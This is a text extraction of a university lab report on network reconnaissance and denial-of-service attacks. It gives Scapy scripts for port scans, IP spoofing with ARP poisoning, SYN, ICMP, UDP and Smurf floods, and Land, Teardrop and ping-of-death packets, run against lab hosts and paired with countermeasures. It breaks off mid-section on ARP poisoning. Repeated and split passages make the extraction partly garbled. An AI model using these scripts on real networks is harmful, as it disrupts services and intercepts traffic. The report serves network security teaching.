Network - Altervistanickmontini.altervista.org/resources/attack.pdf · DEPARTMENT OF MASTER DEGREE...
-
Upload
truongdieu -
Category
Documents
-
view
213 -
download
0
Transcript of Network - Altervistanickmontini.altervista.org/resources/attack.pdf · DEPARTMENT OF MASTER DEGREE...
DEPARTMENT OF
MASTER DEGREE IN
COMPUTER
Network
UNIVERSITY OF PADOVA
EPARTMENT OF INFORMATION ENGINEERING
ASTER DEGREE IN COMPUTER ENGINEERING
OMPUTER NETWORK MANAGEMENT
Network attacks
Montini Nicola
Academic Year 2010/2011
ANAGEMENT
Giuliani Carlo - 620741 Montini Nicola - 621802
Giuliani Carlo - 620741 Montini Nicola - 621802
1
Index
1 RECONNAISANCE PHASE............................................................................................................................................................. 2
1.1 Ip Address Sweep .................................................................................................................................................................. 2
1.2 Port Scanning .......................................................................................................................................................................... 3
1.3 Network Reconnaissance using IP Options................................................................................................................ 4
1.4 IP Spoofing ............................................................................................................................................................................... 6
1.4.1 PORT SCANNING WITH IP SPOOFING SCRIPT .................................................................................................... 7
1.4.2 TIMESTAMP OPTION WITH IP SPOOFING SCRIPT ........................................................................................... 7
1.4.3 LOOSE SOURCE ROUTING OPTION WITH IP SPOOFING SCRIPT ................................................................ 7
1.5 Discover the Operating System of the victims .......................................................................................................... 8
1.5.1 SYN & FIN Flags set ......................................................................................................................................................... 8
1.5.2 Only FIN Flag set ............................................................................................................................................................... 9
1.5.3 Only URG ........................................................................................................................................................................... 10
1.5.4 No flag-bit set .................................................................................................................................................................. 11
2 DENIAL OF SERVICE PHASE .................................................................................................................................................... 12
2.1 SYN Flood ............................................................................................................................................................................... 12
2.2 ICMP Flood ............................................................................................................................................................................ 14
2.2.1 Intercept packets and Echo request flood .......................................................................................................... 14
2.2.2 Drop victim communications ................................................................................................................................... 15
2.2.3 ICMP Redirect (Packet Interception) .................................................................................................................... 16
2.3 UDP - Flood ........................................................................................................................................................................... 17
2.4 Land Attack ........................................................................................................................................................................... 18
2.5 Teardrop attack .................................................................................................................................................................. 19
2.6 Ping of death ......................................................................................................................................................................... 20
2.7 Ping broadcast or Smurf .................................................................................................................................................. 21
2.8 Man - in - the - middle Attack or Connection Hijacking ..................................................................................... 22
2.8.1 ARP Poisoning ................................................................................................................................................................ 22
2.8.2 MAC Flooding .................................................................................................................................................................. 24
2.8.3 DNS Spoofing ................................................................................................................................................................... 25
3 NETWORK USED FOR THE ATTACKS .................................................................................................................................. 27
Giuliani Carlo - 620741 Montini Nicola - 621802
1 RECONNAISANCE PHASE
1.1 Ip Address Sweep
ATTACKER: BackTrack host;
VICTIM: anyone in the same subnet
To do this attack we simply construct an ICMP request message for each possible host of the subnet, i.e. if
the subnet mask is 255.255.255.0 we construct 255 ICMP messages. Note that for every ICMP request
is an ARP request to find the MAC address co
ARP response the ICMP request is sent in broadcast.
Assume the attacker is in the 192.168.134.0/24 subnet;
• SCAPY SCRIPT:
>>> #! /usr/bin/env >>>import time;
>>>from scapy.all import *;>>> >>>target = “192.168.134.1/24”>>>icmp= IP(dst=target)/ICMP()/”12345678”>>>ans, nans = sr(icmp, timeout=k)
with k = 5, 10, 20, 50 ms.
WIRESHARK FILTER:icmp.type == 0.
FIGURE
MEASUREMENTS: We do not propose any kind of measurement because this is not a real attack.
2
RECONNAISANCE PHASE
in the same subnet.
To do this attack we simply construct an ICMP request message for each possible host of the subnet, i.e. if
the subnet mask is 255.255.255.0 we construct 255 ICMP messages. Note that for every ICMP request
is an ARP request to find the MAC address corresponding the destination IP. If the attacker does not see any
ARP response the ICMP request is sent in broadcast.
in the 192.168.134.0/24 subnet;
import *;
target = “192.168.134.1/24” ; IP(dst=target)/ICMP()/”12345678” ;
ans, nans = sr(icmp, timeout=k)
icmp.type == 0.
IGURE 1 - IP SWEEP WIRESHARK SCREENSHOT
do not propose any kind of measurement because this is not a real attack.
To do this attack we simply construct an ICMP request message for each possible host of the subnet, i.e. if
the subnet mask is 255.255.255.0 we construct 255 ICMP messages. Note that for every ICMP request there
rresponding the destination IP. If the attacker does not see any
do not propose any kind of measurement because this is not a real attack.
Giuliani Carlo - 620741 Montini Nicola - 621802
1.2 Port Scanning
ATTACKER: BackTrack host;
VICTIM: anyone.
With this kind of attack the attacker sends TCP messages with SYN flag set to 1 to all the possible ports of
the potential victims. If the victim answers with a TCP message on a particular port with the RST flag set to
1 then there is no service listening on that port and the connection is refused. Otherwise, if the response is a
TCP message with SYN and ACK flags set to 1 the
port that we could use for a future attack.
We can exploit the previous attack to send a port scan to the hosts we found active.
192.168.134.101 was found active;
• SCAPY SCRIPT:
>>> #! /usr/bin/env >>> import time;
>>> from scapy.all import *;>>> >>>p_scan = IP(dst="192.168.134.101")/TCP(dport=(0, 64000), fla gs = "S"); >>>ans, nans = sr(p _scan
WIRESHARK FILTER: ip.addr == 192.168.134.101
FIGURE
As we can see from the wireshark screenshot, the active services are:
• Ftp
• Http
• Epmap
• Netbios-ssn
• Microsoft-ds
MEASUREMENTS: There is no significant way of blocking this
it does not cause damage.
3
With this kind of attack the attacker sends TCP messages with SYN flag set to 1 to all the possible ports of
victims. If the victim answers with a TCP message on a particular port with the RST flag set to
1 then there is no service listening on that port and the connection is refused. Otherwise, if the response is a
TCP message with SYN and ACK flags set to 1 then the connection is accepted and we discovered an open
port that we could use for a future attack.
We can exploit the previous attack to send a port scan to the hosts we found active.
>>> from scapy.all import *;
IP(dst="192.168.134.101")/TCP(dport=(0, 64000), fla gs =
_scan , timeout = 5);
ip.addr == 192.168.134.101&&tcp.flags.ack == 1 &&tcp.flags.sy
IGURE 2 - PORT SCAN WIRESHARK SCREENSHOT
As we can see from the wireshark screenshot, the active services are:
There is no significant way of blocking this procedure, because it is not a real attack and
With this kind of attack the attacker sends TCP messages with SYN flag set to 1 to all the possible ports of
victims. If the victim answers with a TCP message on a particular port with the RST flag set to
1 then there is no service listening on that port and the connection is refused. Otherwise, if the response is a
n the connection is accepted and we discovered an open
We can exploit the previous attack to send a port scan to the hosts we found active. Suppose the host
IP(dst="192.168.134.101")/TCP(dport=(0, 64000), fla gs =
&&tcp.flags.ack == 1 &&tcp.flags.syn == 1
procedure, because it is not a real attack and
Giuliani Carlo - 620741 Montini Nicola - 621802
1.3 Network Reconnaissance using IP Options
ATTACKER: BackTrack;
VICTIM: a host in another subnet.
In the header of an IP packet we can set th
study in deep all the options. Generally every option field is composed by an Option Type subfield, an
Option Length subfield and the data subfield.
source routing option.
FIGURE 3 - OPTION HEADER
• TIMESTAMP HEADER: with this option set, every time the ip datagram is received by the interface
of a device that reads it, the device puts
interface. This option can be set to trace the route of a datagram to the destination.Therefore
create an ICMP request targeting >>> #! /usr/bin/env >>> import time; >>> from scapy.all import *;>>> >>>icmp=IP(dst= ”192.168.132.101”options=IPOption('\ x44\x00\x00\x00\x00\ x0000\x00\ x00') /ICMP()/ "1234567890">>>ans, nans = sr(icmp); Note the data in the option must be
string is:
o x44 represents the option type,
o x24 represents the length of the whole option field,
o x05 represents the pointer to the first byte of data (relatively to the start byte of the option
field)
o x01 represents overflow option (t
due to lack of space
o the following \x00 bytes are used to initialize the field
that will handle the datagram.
FIGURE 4 - TIMESTAMP HEADER OPTION
4
Network Reconnaissance using IP Options
In the header of an IP packet we can set the IP Options field.Each option has its ow
Generally every option field is composed by an Option Type subfield, an
Option Length subfield and the data subfield. We will focus only on the timestamp option and on the loose
with this option set, every time the ip datagram is received by the interface
that reads it, the device puts in the data field a timestamp and (optionallly)
This option can be set to trace the route of a datagram to the destination.Therefore
create an ICMP request targeting to it with the timestamp option:
>>> from scapy.all import *;
”192.168.132.101” , x44 \x24\x05\x01\x00\x00\x00\x00\ x00
x00 \x00\x00\x00\x00\x00\x00\x00\x00\ x00x00') /ICMP()/ "1234567890" ;
ans, nans = sr(icmp);
Note the data in the option must be put in hexadecimal coding; the meaning of the hexadecimal
x44 represents the option type,
x24 represents the length of the whole option field,
x05 represents the pointer to the first byte of data (relatively to the start byte of the option
x01 represents overflow option (the number of IP modules that cannot register timestamps
due to lack of space) and flags;
x00 bytes are used to initialize the fields that will be filled by the devices
that will handle the datagram.
PTION
Each option has its own format, but we do not
Generally every option field is composed by an Option Type subfield, an
We will focus only on the timestamp option and on the loose
with this option set, every time the ip datagram is received by the interface
in the data field a timestamp and (optionallly) the ip of the
This option can be set to trace the route of a datagram to the destination.Thereforewe
x00 \x00\x00\x00\x00x00 \x00\x00\x00\x
put in hexadecimal coding; the meaning of the hexadecimal
x05 represents the pointer to the first byte of data (relatively to the start byte of the option
he number of IP modules that cannot register timestamps
that will be filled by the devices
Giuliani Carlo - 620741 Montini Nicola - 621802
5
• LOOSE SOURCE ROUTING HEADER: using source routing on a datagramallows the sender to
decide the route to the destination. This is possible by specifying the ips of the routers that the
datagram has to pass through. The scapy script is the following:
>>> #! /usr/bin/env >>> import time; >>> from scapy.all import *; >>> >>>icmp = IP(dst="192.168.134.1", options=IPOption('\x83\x0F\x04\xC0\xA8\x85\x01\xC0\ xA8\x83\x01\xC0\xA8\x84\x64')) / ICMP() / "1234567890"; >>>ans, nans = sr(icmp); Once again the IPOption data are written in hexadecimal coding:
o x83 represents the option type
o x0F represents the length of the whole options field
o x04 represents the pointer to the first byte of data (relatively to the start byte of the option
field)
o the following bytes represent ips of the routers that the datagram has to pass through.
This kind of procedure can be used to penetrate protected networks.
MEASUREMENTS: to avoid attacks that use IP options routers have the possibility of discarding every kind
of datagram with IP options set.
Giuliani Carlo - 620741 Montini Nicola - 621802
1.4 IP Spoofing
ATTACKER: BackTrack;
VICTIM: anyone.
IP Spoofing consists of hiding the identity of the attacker by sending IP datagrams with fictitious source
address. In this way a network administrator can not know who is attacking the network because malicious
datagrams are coming from an IP add
IP Spoofing are basically the same;
scripts. There is only one important difference:
our station, because there is no mac address associated with that fake ip.In this way the victim will not
forward the datagrams to our station. To do this we have to follow a procedure called “ARP
fact we forge ARP responses that tell the victim that the fake ip is associated to our mac address. There are
two scenarios: in the first one the victim is in the same subnet of the attacker
the victim, because the latter will ask who is the fake
victim is in another subnet different from the attacker’s one. In this case we have to ARP
gateway, because this time the latter
• SCAPY SCRIPT:
>>>#! /usr/bin/env >>>fromscapy.all import *;>>> >>>sourceMac = "08:00:27:cc:c2:3d"; # attacker's MAC>>>targetMac ="08:00:27:3e:98:80"; # victim's MAC>>>sourceIP = "192.168.134.56"; # fake IP>>>targetIP = "192.168.134.101"; # victim's IP>>>arp_ pois = Ether(dst=targetMac, src=sourceMac) / ARP(op =2, hwsrc=sourceMac, psrc=sourceIP, hwdst=targetMac, pd st=targetIP);>>>srploop(arp_pois);
WIRESHAR FILTER: not necessary.
FIGURE 5
6
IP Spoofing consists of hiding the identity of the attacker by sending IP datagrams with fictitious source
address. In this way a network administrator can not know who is attacking the network because malicious
datagrams are coming from an IP address not associated to any alive host. The previous attacks used with
same; namely we just need to specify a fake source address in our scapy
scripts. There is only one important difference: the responses to our fake-source da
, because there is no mac address associated with that fake ip.In this way the victim will not
forward the datagrams to our station. To do this we have to follow a procedure called “ARP
esponses that tell the victim that the fake ip is associated to our mac address. There are
two scenarios: in the first one the victim is in the same subnet of the attacker, so we have to ARP
the victim, because the latter will ask who is the fake ip with an ARP request. In the second scenario the
victim is in another subnet different from the attacker’s one. In this case we have to ARP
the latter will ask who is the fake-ip with the ARP request.
fromscapy.all import *;
sourceMac = "08:00:27:cc:c2:3d"; # attacker's MAC targetMac ="08:00:27:3e:98:80"; # victim's MAC sourceIP = "192.168.134.56"; # fake IP targetIP = "192.168.134.101"; # victim's IP
pois = Ether(dst=targetMac, src=sourceMac) / ARP(op =2, hwsrc=sourceMac, psrc=sourceIP, hwdst=targetMac, pd st=targetIP);
not necessary.
5 - ARP POISONING FOR IP-SPOOFING SCREENSHOT
IP Spoofing consists of hiding the identity of the attacker by sending IP datagrams with fictitious source
address. In this way a network administrator can not know who is attacking the network because malicious
ress not associated to any alive host. The previous attacks used with
namely we just need to specify a fake source address in our scapy
source datagrams will not reach
, because there is no mac address associated with that fake ip.In this way the victim will not
forward the datagrams to our station. To do this we have to follow a procedure called “ARP - Poisoning”. In
esponses that tell the victim that the fake ip is associated to our mac address. There are
we have to ARP - Poison
ip with an ARP request. In the second scenario the
victim is in another subnet different from the attacker’s one. In this case we have to ARP-Poison the default
ip with the ARP request.
pois = Ether(dst=targetMac, src=sourceMac) / ARP(op =2, hwsrc=sourceMac, psrc=sourceIP, hwdst=targetMac, pd st=targetIP);
Giuliani Carlo - 620741 Montini Nicola - 621802
7
1.4.1 PORT SCANNING WITH IP SPOOFING SCRIPT >>> #! /usr/bin/env >>> import time;
>>> from scapy.all import *; >>> >>> p_scan = IP(dst="192.168.134.101", src = “192.168.134.56”)/TCP(dport=(0, 64000), flags = "S" ); >>> ans, nans = sr(p_scan, timeout = 5);
1.4.2 TIMESTAMP OPTION WITH IP SPOOFING SCRIPT >>> #! /usr/bin/env >>> import time; >>> from scapy.all import *; >>> >>> icmp=IP(dst=”192.168.132.101”, src = “192.168.1 34.56”, options=IPOption('\x44\x24\x05\x01\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 0\x00\x00\x00\x00\x00\x00\x00') /ICMP()/ "1234567890"; >>> ans, nans = sr(icmp);
1.4.3 LOOSE SOURCE ROUTING OPTION WITH IP SPOOFING SCRIPT >>> #! /usr/bin/env >>> import time; >>> from scapy.all import *; >>> >>> icmp = IP(dst="192.168.134.1",src = “192.168.13 4.56”, options=IPOption('\x83\x0F\x04\xC0\xA8\x85\x01\xC0\ xA8\x83\x01\xC0\xA8\x84\x65')) / ICMP() / "1234567890"; >>> ans, nans = sr(icmp);
REMARK: we do not propose screenshots for these scripts because the only difference is the fake source ip
address of the datagrams.
Giuliani Carlo - 620741 Montini Nicola - 621802
8
1.5 Discover the Operating System of the victims
1.5.1 SYN & FIN Flags set
ATTACKER: BackTrack;
VICTIM: anyone (we send packets to two computers with different operating system).
According to the TCP Protocol specification the flags SYN and FIN are not supposed to be set at the same
time within the same message.
If we send a TCP packet with SYN and FIN flags both set to an open port, different operating systems
answer in different ways.
• SCAPY SCRIPT (for target host 192.168.132.101): >>>#! /usr/bin/env >>>fromscapy.all import *; >>> >>>target = "192.168.132.101" >>>sinfin = IP(dst=target) / TCP(dport=139, flags=" SF") >>>ans, nans = sr(sinfin)
WIRESHARK FILTER: tcp.dstport == 139 || tcp.srcport == 139
FIGURE 6 - UBUNTU RESPONSE
FIGURE 7 - WINDOWS RESPONSE
We did not notice any difference in responses between Windows and Linux.
MEASUREMENTS: There aren't countermeasures because this is not a real attack.
Giuliani Carlo - 620741 Montini Nicola - 621802
9
1.5.2 Only FIN Flag set
ATTACKER: BackTrack;
VICTIM: anyone (we send packets to two computers with different operating system).
According to the TCP Protocol, when FIN-Flag is set, then ACK-Flag is also set.
We send packets with only the FIN Flag set to an open port; different operating systems will response in
different ways.
• SCAPY SCRIPT (for target host 192.168.132.101): >>>#! /usr/bin/env >>>fromscapy.all import *; >>> >>>target = "192.168.132.102"; >>>onlyfin = IP(dst=target) / TCP(dport=150, flags= "F"); >>>ans, nans = sr(onlyfin);
WIRESHARK FILTER: tcp.dstport == 139 || tcp.srcport == 139
FIGURE 8 - UBUNTU RESPONSE
FIGURE 9 - WINDOWS RESPONSE
Wenoticed thatLinuxignoresthepackage(it doesn't respond)whileWindowsrespondswithaRST+ACK.
MEASUREMENTS: Therearen'tcountermeasuresbecausethisis nota real attack.
Giuliani Carlo - 620741 Montini Nicola - 621802
10
1.5.3 Only URG
ATTACKER: BackTrack;
VICTIM: a Windows client (in our case host 192.168.134.101).
TCP Protocol specifies that the URG Flagis used toindicate that there data in this TCP-segment that the
sender has marked as urgent. The location of the last byte of this urgent data is included within the TCP
header field (16 bit long): “urgent data pointer”.
If an attacker is sending TCP messages with the URGFlag set to a special port ( Port number 139 = Netbios
Port) this leads inmost of the cases to fragment overlapping and the OS of the victim may crash.
We send a packet with only the URG-flag set to port 139 of a Windows client with an already established
connection with a partner. To do this, we make a script where we first establish a connection with the
Windows client on port 139 and then we send the only-URG packet.
Problem: scapy by default uses port 20 as source port. Moreover, our Backtrack operating system doesn't
now that we are trying to make a connection on port 139, and so, when it receives the victim response,
Backtrack answer with a RST+ACK TCP packet, closing the connection. To avoid this problem, we perform
an IP Spoofing.
• SCAPY SCRIPT:
#! /usr/bin/env from scapy.all import *; target="192.168.134.101"; conn_est = IP(dst=target, src="192.168.134.56") / T CP(dport=139, flags = "S"); ackn = 0; seqn = 0; ans, nans = sr(conn_est); for s, r in ans: sequence = r[TCP].seq; seqn = s[TCP].seq; ackn = sequence + 1; conn_est2 = IP(dst=target, src="192.168.134.56") / TCP(dport=139, ack=ackn, seq = seqn+1, flags = "A"); onlyURG = IP(dst=target, src="192.168.134.58") / TC P(dport=139, seq = seqn+1, flags = "U"); send(conn_est2); ans1, nans1 = sr(onlyURG);
WIRESHARK FILTER: tcp.dstport == 139 || tcp.srcport == 139
FIGURE 10 - WINDOWS VICTIM RESPONSE
MEASUREMENTS: This attackiscalledWinNukeand isoneof theoldestDoS
attack against Microsoftmachines.Microsoft provided apatchagainstthis attack in 1997,thentheattack does
not workagainstanyWindows operating system.In factyoucansee fromthe screenshot abovethatthe
victimdoes not respond.It is therefore notnecessarycountermeasuresagainstthis attack.
Giuliani Carlo - 620741 Montini Nicola - 621802
11
1.5.4 No flag-bit set
ATTACKER: BackTrack;
VICTIM: anyone (we send packets to two computers with different operating system).
TCP Protocol specification does not allow that No flag-bitsare set. This abnormal situation may lead to
replies which reveal information about the operation system.
To do this attack, we created a script that sends in loop packets with no flag set to an open port of the
victim host. We perform this attack using the IP Spoofing.
• SCAPY SCRIPT:
#! /usr/bin/env from scapy.all import *; target = "192.168.134.101"; source = "192.168.134.56"; #IP Spoofing destPort = 139; noflags = IP(dst=target, src=source) / TCP(dport=de stPort, flags=""); ackn = noflags[TCP].ack; while 1: ans, nans =sr(noflags); for s, r in ans: ackn = 1; seqn = s[TCP].seq + 1; noflags[TCP].ack = ackn; noflags[TCP].seq = seqn;
WIRESHARK FILTER: tcp.dstport == 139 || tcp.srcport == 139
FIGURE 11 - UBUNTU RESPONSE
FIGURE 12 - WINDOWS RESPONSE
We noticed that Windows responds with RST + ACK, while Linux is not responding.
MEASUREMENTS: Therearen'tcountermeasuresbecausethisis not a real attack.
Giuliani Carlo - 620741 Montini Nicola - 621802
12
2 DENIAL OF SERVICE PHASE
2.1 SYN Flood
ATTACKER: BackTrack host;
VICTIM: A web server placed in the subnet 192.168.134.101 (virtually any kind of server that uses TCP
connections);
This attack exploits the behaviour of a server during the three way handshake (used for estabilishing a TCP
connection); every time a server receives a SYN message from some client it allocates some resources such
as memory space for the buffers used for the connection. The target of the attacker is to send many SYN
messages at very short time intervals to the server each one with different src ip addresses (many server
block SYN messages continuously coming from the same ip). In this way the server continues to allocate
resources until it will exhaust them. At this point it will not be able to establish new connections anymore,
so it will appear to remote clients as being crashed or not being able to serve them.
• SCAPY SCRIPT:
>>>#! /usr/bin/env >>>from scapy.all import *; >>> >>>IPSpoofed = "192.169.1.1/16"; >>>target = "192.168.134.101"; >>>destPort = 80; >>>synflood = IP(dst=target, src=IPSpoofed) / TCP(d port=destPort, flags = "S"); >>>while 1: >>> send(synflood);
WIRESHARK FILTER: tcp.flags.syn == 1
FIGURE 6 - SYN FLOOD WIRESHARK SCREENSHOT
Note that we are using ip address of a fake subnet, so the server will forward with SYN + ACK replies to the
default gateway.
MEASUREMENTS: To provide the ability to endure SYN flood attacks, at least temporarily, manufacturers
Giuliani Carlo - 620741 Montini Nicola - 621802
13
of firewalls and other network security devices have developed a variety of defense methods to incorporate
into their products. Some of the methods currently on the market include:
• SYN threshold: establishes a limit or quota on the number of incomplete connections, and discard SYN
packets if the number of incomplete connections reaches the limit. This is the simplest type of SYN
flood defense, and is implemented in several firewall products.
• SYNDefender: when a SYN packet is received, the firewall synthesizes the final ACK packet in step 3, so
the receiver does not need to wait for the actual ACK packet from the originator. Check Point Software
Technologies, Ltd. developed this technique for its Firewall-1 product.
• SYN proxy: the firewall synthesizes and sends the SYN/ACK packet back to the originator, and waits
for the final ACK packet. After the firewall receives the ACK packet from the originator, the firewall
then “replays” the three-step sequence to the receiver.
• SYN cookies: this method attempts to eliminate the need to store incomplete connection information
by including a package of information, or a “cookie” in the SYN/ACK packet sent by the receiver to the
originator. When the originator responds with the ACK packet, the cookie is returned and the receiver
is able to extract the information needed to rebuild the connection.
Giuliani Carlo - 620741 Montini Nicola - 621802
14
2.2 ICMP Flood
2.2.1 Intercept packets and Echo request flood
ATTACKER: BackTrack host;
VICTIM: a Windows client in the same subnet of the attacker (host 192.168.134.101);
ICMP messages are usually generated in case of running the well-known utility application PING. The PING
Sender generates an ICMP-Echo Request and expects in return an ICMP Echo Reply from the receiver.
We haveflooded the victimofICMPRequestpackets,in ordertosaturatethebandwidth of the
latter.TogenerateICMP packetsweusedthe following scapy script:
• SCAPY SCRIPT:
#! /usr/bin/env from scapy.all import *; target = "192.168.134.101"; sourceIP = "192.168.134.107"; icmp = IP(dst=target, src=sourceIP) / ICMP() / "123 4567890"; while 1: send(icmp);
WIRESHARK FILTER: icmp
FIGURE 1 - ICMP FLOOD AGAINST A WINDOWS CLIENT
This attack in our case doesn't work, because it is most successful only if the attacker has
more bandwidth than the victim. Indeed, the attacker hopes that the victim will respond with ICMP Echo
Reply packets, thus consuming both outgoing bandwidth as well as incoming bandwidth.
MEASUREMENTS: To avoid ICMP flood, we must use a firewall that drops ICMP Echo Replay packets.
The victim responds
immediately at each
ICMP Echo Request
Giuliani Carlo - 620741 Montini Nicola - 621802
15
2.2.2 Drop victim communications
ATTACKER: BackTrack host;
VICTIM: a Windows client with a FTP connection established (host 192.168.134.101);
An ICMP message of the type “Destination unreachable” basically indicates that a message cannot be
successfully sent to the destination. As a result of receiving such a message, the receiving host immediately
drops the corresponding connection.
We sent ICMP Destination Unreacheable packets to a Windows client connected to an FTP server. In our
case the Windows client is host 192.168.134.101 and it is connected to FTP server 192.168.132.101.
The script for generating the packets is the following:
• SCAPY SCRIPT:
#! /usr/bin/env from scapy.all import *; dstClient = "192.168.132.101"; dstServer = "192.168.134.101"; icmp_client = IP(dst=dstClient) / ICMP(type=3, code =1) / IP(dst=dstServer, src=dstClient) / "ddddd"; icmp_server = IP(dst=dstServer) / ICMP(type=3, code =1) / IP(dst=dstClient, src=dstServer) / "ddddd"; send(icmp_client); send(icmp_server);
WIRESHARK FILTER: icmp
FIGURE 2 - DROP COMMUNICATIONS ATTACK AGAINST A WINDOWS CLIENT
This attack doesn't work.
Giuliani Carlo - 620741 Montini Nicola - 621802
16
2.2.3 ICMP Redirect (Packet Interception)
ATTACKER: BackTrack host;
VICTIM: a Windows client in our subnet (host 192.168.134.101);
A Router always sends ICMP-Redirect messages to the sender in case the received message contains a
destination address which is placed on the same subnet with the sender. This means, the sender mistakenly
assumed that the destination is outside its own subnet, and for this reason it sends the message to the
router. The host receiving the ICMP-Redirect message from the Router, will reformate its initial message
and direct it to the real address.
We havecreatedpackagesICMPRedirectandwesentthemtoaWindowsclientin ourownsubnet. The scapy
script for making and sending the packets is the following:
• SCAPY SCRIPT:
#! /usr/bin/env from scapy.all import *; dest = "192.168.134.101"; source = "192.168.134.1"; icmp = IP(dst=dest, src=source) / ICMP(type=5, code =0, gw="192.168.134.107") / '\x45\x00\x05\xDC\x10\xC2\x 40\x00'; while 1: send(icmp);
WIRESHARK FILTER: icmp.type==5
FIGURE 3 - ICMP REDIRECT ATTACK AGAINST A WINDOWS CLIENT
This attack doesn't work because by default Windows drops this type of packets.
MEASUREMENTS: To prevent this type of attack we can drop this type of packets, for instance with a
firewall.
Giuliani Carlo - 620741 Montini Nicola - 621802
17
2.3 UDP - Flood ATTACKER: BackTrack host;
VICTIM: a Windows client (192.168.132.101);
UDP Packets are generated at the transport layer without the need of aso called “3 way handshake”
initiation phase of the connection (as in case of a TCP connection).The receiver, however, has a limited
buffer size for storing thesemessages before they are checked for possible transfer error and transferred to
the application layer.
Wesentat short time intervals UDP messagestoaWindowsclientthatwasdownloadingafilefrom aTFTPserver
(in our case the TFTP Server is host 192.168.134.101). The scapy script we used is the following:
• SCAPY SCRIPT:
#! /usr/bin/env from scapy.all import *; dest = "192.168.132.101"; while 1: destPort = RandShort(); sourcePort = RandShort(); packet = IP(dst=dest) / UDP(dport=destPort, sport =sourcePort); send(packet);
WIRESHARK FILTER: udp && !icmp
FIGURE 4 - GENERATED UDP PACKETS
MEASUREMENTS: This attack doesn't work, because the victim is fast enough to process in time all the
UDP messages generated by the attacker. So there is no need of measurements against this type of attack.
Giuliani Carlo - 620741 Montini Nicola - 621802
18
2.4 Land Attack
ATTACKER: BackTrack host;
VICTIM: a Windows client (192.168.134.101);
With this attack we created a TCP packet with source address equal to the victim IP address (so the packet
has equal IP source and destination address) and equal destination and source port. After receiving the
packet, the victim will tries to establish a connection with itself and so this packet may lead the victim to a
dead-end loop and his operating system may crash or lock up. The scapy script we used for generating the
packet is the following:
• SCAPY SCRIPT:
#! /usr/bin/env from scapy.all import *; target = "192.168.134.101"; destPort=139; packet= IP(dst=target, src=target) / TCP(dport=dest Port, sport=destPort, flags = "S"); while 1: send(packet);
WIRESHARK FILTER: tcp.flags.syn == 1
This attack works against Windows hosts, in most cases the victim PC crashes.
MEASUREMENTS: There are many measurements that we can adopt in order to prevent this type of attack.
For example, we can install a firewall in the Windows host witch drops all the packets with source address
equals to the destination address. We can also install a protection in routers, dropping in the router all the
packets that can cause a land attack.
Giuliani Carlo - 620741 Montini Nicola - 621802
19
2.5 Teardrop attack
ATTACKER: BackTrack host;
VICTIM: a Windows client (192.168.134.101);
An Attacker PC sends different sets of IP-Fragments where the Fragment offset fields are overlapping. In
case the fragment fields are overlapping, the receiver is unable to reassemble the fragments. The messages
will be stored at the receivers, and in case the storage resources are exhausted, then the receiver can crash.
The scapy script we used to generating packets is the following:
• SCAPY SCRIPT:
#! /usr/bin/env from scapy.all import *; target = "192.168.134.101" identification = 888; length = 28; offset = 0; while 1: packet = IP(dst=target, flags=1, id=identificatio n, len = 28, frag=offset) / '\x90\x89\x32\x45\x43\x33\x32\x11\x54\x46\x22\x13\ x56\x56\x67\x32'; offset = offset + 1; send(packet);
WIRESHARK FILTER: ip.flags == 1
FIGURE 5 - TEARDROP ATTACK - SNIFF FROM THE ATTACKER.
This attack doesn't work, because packets are dropped by the operating system (the only operating
systems affected by this attack are Windows 3.1, Windows 95 and Windows NT).
MEASUREMENTS: we don't propose any measurement against this attack because they are already
provided by all the modern operating systems.
Giuliani Carlo - 620741 Montini Nicola - 621802
20
2.6 Ping of death
ATTACKER: BackTrack host;
VICTIM: a Windows client (192.168.134.103);
According to the specification an IP packet cannot exceed a maximum size of 65.535 Bytes including
headers. In case an ICMP-Message of type “Echo Request” contains more than this max. allowed number of
Bytes, the receiver host may crash while trying to reassemble the packet fragments.
So we used a script for generating ICMP Echo Request packets with payload larger than 65.535 bytes and
then we sent packets to the victim. The scapy script we used is the following:
• SCAPY SCRIPT:
#! /usr/bin/env from scapy.all import *; payload = "\x86"; for i in range(66000): payload = payload + "\x86"; death_ping = IP(dst="192.168.134.103", len=65000) / ICMP() / payload; send(death_ping);
WIRESHARK FILTER: icmp
FIGURE 6 - PING OF DEATH ATTACK - WIRESHARK FROM THE ATTACKER
This attack doesn't work because early implementations of TCP/IP (since 1998) have fixed this bug.
MEASUREMENTS: we don't propose any measurement against this attack because they are already
provided by all the modern operating systems.
Giuliani Carlo - 620741 Montini Nicola - 621802
21
2.7 Ping broadcast or Smurf
ATTACKER: BackTrack host;
VICTIM: any host.
If a ping message (ICMP Echo Request ) is sent simultaneously to a number of host they will respond to the
sender with a pong message (ICMP Echo reply). In order to force a larger number of hosts to respond
simultaneously the ping message must be sent to a broadcast address. Therefore we forge many ICMP
requests targeting to a huge amount of different hosts, and we spoof the source address of the requests
with the ip of the victim. The idea behind this attack is to flood the victim with ping responses in order to
prevent it to operate normally, or moreover to lock up it.
• SCAPY SCRIPT: >>>#! /usr/bin/env >>>from scapy.all import *; >>> >>>target1 = "192.168.135.255"; # broadcast to subn et 192.168.135.0 >>>target2 = "192.168.134.255"; # broadcast to subn et 192.168.134.0 >>>target3 = "192.168.133.255"; # broadcast to subn et 192.168.134.0 >>>target4 = "192.168.131.255"; # broadcast to subn et 192.168.134.0 >>> >>>victim = "192.168.132.100"; # victim of the icmp flood >>>icmp1 = IP(src=victim, dst=target1) / ICMP() / " 12345"; >>>icmp2 = IP(src=victim, dst=target2) / ICMP() / " 12345"; >>>icmp3 = IP(src=victim, dst=target3) / ICMP() / " 12345"; >>>icmp4 = IP(src=victim, dst=target4) / ICMP() / " 12345"; >>> >>>while 1: >>> send(icmp1); >>> send(icmp2); >>> send(icmp3); >>> send(icmp4);
WIRESHARK FILTER: ip.src == 192.168.132.100 && icmp
FIGURE 7 - SMURF WIRESHARK CAPTURE SCREENSHOT FROM THE ATTACKER
The attack doesn’t work, because the host’s operative systems blocks every ICMP request sent in broadcast
MEASUREMENTS: as already said, we can block incoming broadcast ICMP packets on the clients of the
network.
Giuliani Carlo - 620741 Montini Nicola - 621802
22
2.8 Man - in - the - middle Attack or Connection Hijacking
2.8.1 ARP Poisoning
ATTACKER: BackTrack host;
VICTIM: a Windows client in our subnet (host 192.168.134.101);
The ARP Protocol is used in order to find out the MAC Address of a station for which the IP-Address is
known. It consist of two steps:
1. ARP-Request: a broadcast message is sent by the station who wants to know the MAC Address
associated with the requested IP
2. ARP-Reply: the station which has the requested IP Address respond with an ARP Reply message
indicating his MAC Address.
The MAC Address obtained is stored in the so called ARP Table and it is used for next communications
between the two hosts.
